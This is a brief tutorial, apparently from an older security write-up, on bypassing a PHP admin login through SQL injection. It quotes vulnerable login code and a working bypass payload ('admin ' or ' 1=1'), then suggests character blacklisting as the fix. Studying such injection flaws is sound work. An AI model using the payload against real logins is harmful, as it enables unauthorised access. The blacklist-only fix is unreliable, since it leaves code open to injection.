How to bypass Admin/user login through SQL Injection

- Code snippet from /admin/login.php

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$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
or die("<p>" . mysql_error() . "</p>\n");

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The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :

username : admin ' or ' 1=1
password : sirgod

We logged in.Why?Look,the code will become

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$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = 'sirgod'")
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Login bypassed.The username must be an existent username.

How to fix?
Simple way : Don't allow special chars in variables.For numeric variables
use (int) ,example $id=(int)$_GET['id'];
Another way : For non-numeric variables : filter all special chars used in
SQLI : - , . ( ) ' " _ + / *